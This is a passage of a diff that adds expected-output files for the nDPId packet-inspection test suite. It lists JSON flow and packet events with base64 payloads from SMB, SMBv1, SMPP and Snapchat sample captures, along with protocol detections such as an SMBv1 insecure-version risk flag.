AAAAD5UGAAAABQBMAHUAYwBhAP5TTUJAAAEAAAAAAAYAAwAFAAAAAAAAAKEPAAAAAAAA\/\/4AABEAAAAdAAAAACgAAAAAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00413{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"smb_deletefile.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1584368317,"pkt_ts_usec":576940,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"2MuK4S0uKDc3AG3ICABFAAAoAABAAEAGtk7AqAF2wKgBu94QAb3ooAgq8kM161AQqfyIjgAA"} +00922{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"smb_deletefile.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1584368317,"pkt_ts_usec":577027,"pkt_caplen":394,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":394,"pkt_l4_len":360,"pkt":"2MuK4S0uKDc3AG3ICABFAAF8AABAAEAGtPrAqAF2wKgBu94QAb3ooAgq8kM161AYqgDtZwAAAAABUP5TTUJAAAEAAAAAAAUAAAEAAAAAgAAAAKIPAAAAAAAA\/\/4AABEAAAAdAAAAACgAAAAAAAAAAAAAAAAAAAAAAAA5AAAAAgAAAAAAAAAAAAAAAAAAAAAAAACBABAAEAAAAAcAAAABAAAAAQAAAHgACAAAAAAAAAAAAEwAdQBjAGEA\/lNNQkAAAQAAAAAADgAAAQQAAAB4AAAAow8AAAAAAAD\/\/gAAEQAAAB0AAAAAKAAAAAAAAAAAAAAAAAAAAAAAACEAJQMAAAAA\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/2AAEgAAAAEARABvAHcAbgBsAG8AYQBkAHMAAAAAAAAA\/lNNQkAAAQAAAAAABgAAAQQAAAAAAAAApA8AAAAAAAD\/\/gAAEQAAAB0AAAAAKAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAA\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/w=="} +01070{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"smb_deletefile.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1584368317,"pkt_ts_usec":578124,"pkt_caplen":538,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":538,"pkt_l4_len":504,"pkt":"KDc3AG3I2MuK4S0uCABFAAIMOLJAAIAGO7jAqAG7wKgBdgG93hDyQzXr6KAJflAYEAanewAAAAAB4P5TTUJAAAEAAAAAAAUAAAABAAAAmAAAAKIPAAAAAAAA\/\/4AABEAAAAdAAAAACgAAAAAAAAAAAAAAAAAAAAAAABZAAAAAQAAAGyBCUYXWdUBsSVXap371QGlpsNYnPvVAaWmw1ic+9UBACAAAAAAAAAAIAAAAAAAABAAAAAAAAAAFAQAAAoAAACxAAAACgAAAAAAAAAAAAAA\/lNNQkAAAQAAAAAADgAAAAUAAADIAAAAow8AAAAAAAD\/\/gAAEQAAAB0AAAAAKAAAAAAAAAAAAAAAAAAAAAAAAAkASAB6AAAAAAAAAAAAAADyWnfrNIrUAcMy8HGc+9UBjNDtcZz71QGM0O1xnPvVAQAAAAAAAAAAAAAAAAAAAAARAAAAEgAAAAAAAAAQAEQATwBXAE4ATABPAH4AMQAAAAAAAAAAAAAAGpUGAAAABgBEAG8AdwBuAGwAbwBhAGQAcwAAAAAAAAD+U01CQAABAAAAAAAGAAMABQAAAAAAAACkDwAAAAAAAP\/+AAARAAAAHQAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00413{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"smb_deletefile.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1584368317,"pkt_ts_usec":578187,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"2MuK4S0uKDc3AG3ICABFAAAoAABAAEAGtk7AqAF2wKgBu94QAb3ooAl+8kM3z1AQqfyFVgAA"} +01019{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"smb_deletefile.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1584368317,"pkt_ts_usec":585648,"pkt_caplen":466,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":466,"pkt_l4_len":432,"pkt":"2MuK4S0uKDc3AG3ICABFAAHEAABAAEAGtLLAqAF2wKgBu94QAb3ooAl+8kM3z1AYqgB5sQAAAAABmP5TTUJAAAEAAAAAAAUAAAEAAAAA2AAAAKUPAAAAAAAA\/\/4AABEAAAAdAAAAACgAAAAAAAAAAAAAAAAAAAAAAAA5AAAAAgAAAAAAAAAAAAAAAAAAAAAAAACAABEAgAAAAAAAAAABAAAAAAAAAHgARADAAAAAGAAAAEwAdQBjAGEAXABEAG8AdwBuAGwAbwBhAGQAcwBcAGkAbgBuAG8AcwBlAHQAdQBwAC0ANQAuADYALgAxAC4AZQB4AGUAAAAAAAAAAAAQAAQAAAAAAAAAAABNeEFjAAAAAP5TTUJAAAEAAAAAABEAAAEEAAAAaAAAAKYPAAAAAAAA\/\/4AABEAAAAdAAAAACgAAAAAAAAAAAAAAAAAAAAAAAAhAAENAQAAAGAAAAAAAAAA\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/wEAAAAAAAAA\/lNNQkAAAQAAAAAABgAAAQQAAAAAAAAApw8AAAAAAAD\/\/gAAEQAAAB0AAAAAKAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAA\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/w=="} +00586{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"smb_deletefile.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1584368317,"pkt_ts_usec":587479,"pkt_caplen":180,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":180,"pkt_l4_len":146,"pkt":"KDc3AG3I2MuK4S0uCABFAACmOLNAAIAGPR3AqAG7wKgBdgG93hDyQzfP6KALGlAYEAQu2wAAAAAAev5TTUJAAAEAAAAAAA8AAAADAAAAAAAAAAAPAAAAAAAADQAAAwAAAAAdAAAAACgAAAAAAAAAAAAAAAAAAAAAAAAJAEgAMgAAAAAAAAACAAAAJgAAAGkAbgBuAG8AcwBlAHQAdQBwAC0ANQAuADYALgAxAC4AZQB4AGUA"} +00415{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"smb_deletefile.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1584368317,"pkt_ts_usec":587531,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"2MuK4S0uKDc3AG3ICABFAAAoAABAAEAGtk7AqAF2wKgBu94QAb3ooAsa8kM4TVAQqf+DOQAA"} +01100{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"smb_deletefile.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1584368317,"pkt_ts_usec":587603,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"KDc3AG3I2MuK4S0uCABFAAIcOLRAAIAGO6bAqAG7wKgBdgG93hDyQzhN6KALGlAYEAS2GQAAAAABgP5TTUJAAAEAAAAAAAUAAAABAAAAuAAAAKUPAAAAAAAA\/\/4AABEAAAAdAAAAACgAAAAAAAAAAAAAAAAAAAAAAABZAAAAAQAAADPCUzktmNQBM3a2TJv71QGqtlA8LZjUAceu0c0iWdUBAAAeAAAAAACA9B0AAAAAACAAAAAAAAAAFQQAAAoAAADFAAAACgAAAJgAAAAgAAAAAAAAABAABAAAABgACAAAAE14QWMAAAAAAAAAAP8BHwD+U01CQAABAAAAAAARAAAABQAAAEgAAACmDwAAAAAAAP\/+AAARAAAAHQAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAD+U01CQAABAAAAAAAGAAMABQAAAAAAAACnDwAAAAAAAP\/+AAARAAAAHQAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGz+U01CQAAAAAAAAAASAAAAAQAAAAAAAAD\/\/\/\/\/\/\/\/\/\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALAACAAEAAADNtesUnIBJiady75EwC3S7AwAAAAAAAAAAAAAAAAAAAAAAAAA="} +00415{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"smb_deletefile.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1584368317,"pkt_ts_usec":587634,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"2MuK4S0uKDc3AG3ICABFAAAoAABAAEAGtk7AqAF2wKgBu94QAb3ooAsa8kM6QVAQqfyBSAAA"} +00560{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"smb_deletefile.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1584368317,"pkt_ts_usec":587709,"pkt_caplen":158,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":158,"pkt_l4_len":124,"pkt":"2MuK4S0uKDc3AG3ICABFAACQAABAAEAGtebAqAF2wKgBu94QAb3ooAsa8kM6QVAYqgANAgAAAAAAZP5TTUJAAAEAAAAAABIAAAEAAAAAAAAAAKgPAAAAAAAA\/\/4AABEAAAAdAAAAACgAAAAAAAAAAAAAAAAAAAAAAAAkAAAAAAAAAM216xScgEmJp3LvkTALdLsAAAAAAAAAAAAAAAA="} diff --git a/test/results/smbv1.pcap.out b/test/results/smbv1.pcap.out new file mode 100644 index 000000000..0225cad09 --- /dev/null +++ b/test/results/smbv1.pcap.out @@ -0,0 +1,9 @@ +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"smbv1.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1492191036092,"flow_last_seen":0,"flow_tot_l4_data_len":157,"flow_min_l4_data_len":157,"flow_max_l4_data_len":157,"flow_avg_l4_data_len":157,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.156.130","dst_ip":"10.128.0.243","src_port":50927,"dst_port":445,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00592{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"smbv1.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492191036,"pkt_ts_usec":92974,"pkt_caplen":191,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":191,"pkt_l4_len":157,"pkt":"AFBW6AqxAAwpAu9qCABFAACxF9IAAIAGzm+sEJyCCoAA88bvAb3S22hjm3waG1AY+vCemgAAAAAAhf9TTUJyAAAAABhTwAAAAAAAAAAAAAAAAAAA\/\/4AAEAAAGIAAlBDIE5FVFdPUksgUFJPR1JBTSAxLjAAAkxBTk1BTjEuMAACV2luZG93cyBmb3IgV29ya2dyb3VwcyAzLjFhAAJMTTEuMlgwMDIAAkxBTk1BTjIuMQACTlQgTE0gMC4xMgA="} +00566{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"smbv1.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492191036,"pkt_ts_usec":120420,"pkt_caplen":171,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":171,"pkt_l4_len":137,"pkt":"AAwpAu9qAFBW6AqxCABFAACdcSEAAIAGdTQKgADzrBCcggG9xu+bfBob0tto7FAY+vCpnwAAAAAAcf9TTUJyAAAAAJhTwAAAAAAAAAAAAAAAAAAA\/\/4AAEAAEQUAAzIAAQAEEQAAAAABAAAAAAD84wEAQPSc00S10gHwAAgsAAirHC\/h7OapVwBPAFIASwBHAFIATwBVAFAAAABKAE8ASABOAC0AUABDAAAA"} +00598{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"smbv1.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492191036,"pkt_ts_usec":120691,"pkt_caplen":194,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":194,"pkt_l4_len":160,"pkt":"AFBW6AqxAAwpAu9qCABFAAC0F9MAAIAGzmusEJyCCoAA88bvAb3S22jsm3wakFAY+ns\/iQAAAAAAiP9TTUJzAAAAABgHwAAAAAAAAAAAAAAAAAAA\/\/4AAEAADf8AiAAEEQoAAAAAAAAAAQAAAAAAAADUAAAASwAAAAAAAFcAaQBuAGQAbwB3AHMAIAAyADAAMAAwACAAMgAxADkANQAAAFcAaQBuAGQAbwB3AHMAIAAyADAAMAAwACAANQAuADAAAAA="} +00634{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3,"source":"smbv1.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":3,"flow_first_seen":1492191036092,"flow_last_seen":1492191036120,"flow_tot_l4_data_len":454,"flow_min_l4_data_len":137,"flow_max_l4_data_len":160,"flow_avg_l4_data_len":151,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.156.130","dst_ip":"10.128.0.243","src_port":50927,"dst_port":445,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","20":"SMB Insecure Version","22":"Unsafe Protocol"},"proto":"NetBIOS.SMBv1","breed":"Dangerous","category":"System"}} +00663{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"smbv1.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492191036,"pkt_ts_usec":154924,"pkt_caplen":243,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":243,"pkt_l4_len":209,"pkt":"AAwpAu9qAFBW6AqxCABFAADlcSMAAIAGdOoKgADzrBCcggG9xu+bfBqQ0ttpeFAY+vD0\/QAAAAAAuf9TTUJzAAAAAJgHwAAAAAAAAAAAAAAAAAAA\/\/4ACEAAA\/8AuQAAAJAAAFcAaQBuAGQAbwB3AHMAIAA3ACAAVQBsAHQAaQBtAGEAdABlACAANwA2ADAAMQAgAFMAZQByAHYAaQBjAGUAIABQAGEAYwBrACAAMQAAAFcAaQBuAGQAbwB3AHMAIAA3ACAAVQBsAHQAaQBtAGEAdABlACAANgAuADEAAABXAE8AUgBLAEcAUgBPAFUAUAAA"} +00539{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"smbv1.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492191036,"pkt_ts_usec":157874,"pkt_caplen":148,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":148,"pkt_l4_len":114,"pkt":"AFBW6AqxAAwpAu9qCABFAACGF9QAAIAGzpisEJyCCoAA88bvAb3S22l4m3wbTVAY+b51+wAAAAAAWv9TTUJ1AAAAABgHwAAAAAAAAAAAAAAAAAAA\/\/4ACEAABP8AWgAIAAEALwAAXABcADEAMAAuADEAMgA4AC4AMAAuADIANAAzAFwASQBQAEMAJAAAAD8\/Pz8\/AA=="} +00493{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"smbv1.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492191036,"pkt_ts_usec":191436,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":114,"pkt_l4_len":80,"pkt":"AAwpAu9qAFBW6AqxCABFAABkcSUAAIAGdWkKgADzrBCcggG9xu+bfBtN0ttp1lAY+vBBMgAAAAAAOP9TTUJ1AAAAAJgHwAAAAAAAAAAAAAAAAAAI\/\/4ACEAAB\/8AOAABAP\/\/HwD\/\/x8ABwBJUEMAAAAA"} +00521{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"smbv1.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492191036,"pkt_ts_usec":191677,"pkt_caplen":136,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":136,"pkt_l4_len":102,"pkt":"AFBW6AqxAAwpAu9qCABFAAB6F9UAAIAGzqOsEJyCCoAA88bvAb3S22nWm3wbiVAY+YJgRQAAAAAATv9TTUIyAAAAABgHwAAAAAAAAAAAAAAAAAAI\/\/4ACEEADwwAAAABAAAAAAAAAMxs6wAAAAwAQgAAAE4AAQAOAA0AAAAAAAAAAAAAAAAAAA=="} diff --git a/test/results/smpp_in_general.pcap.out b/test/results/smpp_in_general.pcap.out new file mode 100644 index 000000000..c6d7f4164 --- /dev/null +++ b/test/results/smpp_in_general.pcap.out @@ -0,0 +1,17 @@ +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"smpp_in_general.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1217149853878,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"10.226.202.118","dst_ip":"10.226.202.53","src_port":1770,"dst_port":9000,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"smpp_in_general.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1217149853,"pkt_ts_usec":878966,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AAKlxo7UABbU5r3hCABFAAAwUN5AAIAG\/3kK4sp2CuLKNQbqIyjmvft6AAAAAHACf\/9NLQAAAgQE7AEBBAI="} +00422{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"smpp_in_general.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1217149853,"pkt_ts_usec":879393,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"ABbU5r3hAAKlxo7UCABFAAAsMy0AADwGoS8K4so1CuLKdiMoBuqoDP5A5r37e2AS8ABLDAAAAgQFtAAA"} +00415{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"smpp_in_general.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1217149853,"pkt_ts_usec":879422,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AAKlxo7UABbU5r3hCABFAAAoUN9AAIAG\/4AK4sp2CuLKNQbqIyjmvft7qAz+QVAQhOTN5QAA"} +00471{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"smpp_in_general.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1217149853,"pkt_ts_usec":879690,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"AAKlxo7UABbU5r3hCABFAABQUOBAAIAG\/1cK4sp2CuLKNQbqIyjmvft7qAz+QVAYhOQscgAAAAAAKAAAAAIAAAAAAAAAAWFiaGlrAHBhc3N3b3JkAFNNUFAAAQAAAA=="} +00553{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"smpp_in_general.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1217149853878,"flow_last_seen":1217149853879,"flow_tot_l4_data_len":132,"flow_min_l4_data_len":20,"flow_max_l4_data_len":60,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"10.226.202.118","dst_ip":"10.226.202.53","src_port":1770,"dst_port":9000,"l4_proto":"tcp","ndpi": {"proto":"SMPP","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"}} +00442{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"smpp_in_general.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1217149853,"pkt_ts_usec":886293,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"ABbU5r3hAAKlxo7UCABFAAA9My4AADwGoR0K4so1CuLKdiMoBuqoDP5B5r37o1AY8AA72wAAAAAAFYAAAAIAAAAAAAAAAVNNU0MA"} +00416{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"smpp_in_general.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1217149853,"pkt_ts_usec":988641,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AAKlxo7UABbU5r3hCABFAAAoUOFAAIAG\/34K4sp2CuLKNQbqIyjmvfujqAz+VlAQhM\/NvQAA"} +00440{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"smpp_in_general.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1217149882,"pkt_ts_usec":791596,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"AAKlxo7UABbU5r3hCABFAAA4UPFAAIAG\/14K4sp2CuLKNQbqIyjmvfujqAz+VlAYhM\/NfgAAAAAAEAAAABUAAAAAAAAAAg=="} +00438{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"smpp_in_general.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1217149882,"pkt_ts_usec":792662,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"ABbU5r3hAAKlxo7UCABFAAA4M3oAADwGoNYK4so1CuLKdiMoBuqoDP5W5r37s1AY8ADiPAAAAAAAEIAAABUAAAAAAAAAAg=="} +00485{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"smpp_in_general.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1217149882,"pkt_ts_usec":792948,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"AAKlxo7UABbU5r3hCABFAABaUPJAAIAG\/zsK4sp2CuLKNQbqIyjmvfuzqAz+ZlAYhL+t8AAAAAAAMgAAAAQAAAAAAAAAAwAAATEwMAABATEyMzQ1Njc4OTAAAAAAAAAAAAAABHRlc3Q="} +00452{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"smpp_in_general.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1217149882,"pkt_ts_usec":800957,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"ABbU5r3hAAKlxo7UCABFAABBM3sAADwGoMwK4so1CuLKdiMoBuqoDP5m5r375VAY8ACv8AAAAAAAGYAAAAQAAAAAAAAAAzQ3YzhjNzdhAA=="} +00417{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"smpp_in_general.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1217149882,"pkt_ts_usec":957034,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AAKlxo7UABbU5r3hCABFAAAoUPNAAIAG\/2wK4sp2CuLKNQbqIyjmvfvlqAz+f1AQhKbNewAA"} +00441{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"smpp_in_general.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1217149884,"pkt_ts_usec":831937,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"AAKlxo7UABbU5r3hCABFAAA4UPRAAIAG\/1sK4sp2CuLKNQbqIyjmvfvlqAz+f1AYhKbNSQAAAAAAEAAAAAYAAAAAAAAABA=="} +00441{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"smpp_in_general.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1217149884,"pkt_ts_usec":833412,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"ABbU5r3hAAKlxo7UCABFAAA4M4EAADwGoM8K4so1CuLKdiMoBuqoDP5\/5r379VAY8ADh3gAAAAAAEIAAAAYAAAAAAAAABA=="} +00417{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"smpp_in_general.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1217149884,"pkt_ts_usec":833512,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AAKlxo7UABbU5r3hCABFAAAoUPVAAIAG\/2oK4sp2CuLKNQbqIyjmvfv1qAz+j1ARhJbNagAA"} +00424{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"smpp_in_general.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1217149884,"pkt_ts_usec":833831,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABbU5r3hAAKlxo7UCABFAAAoM4IAADwGoN4K4so1CuLKdiMoBuqoDP6P5r379lAQ8ABiAAAAAAAAAAAA"} diff --git a/test/results/snapchat.pcap.out b/test/results/snapchat.pcap.out new file mode 100644 index 000000000..e37d57349 --- /dev/null +++ b/test/results/snapchat.pcap.out @@ -0,0 +1,54 @@ +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"snapchat.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1431417993318,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"74.125.136.141","src_port":33233,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 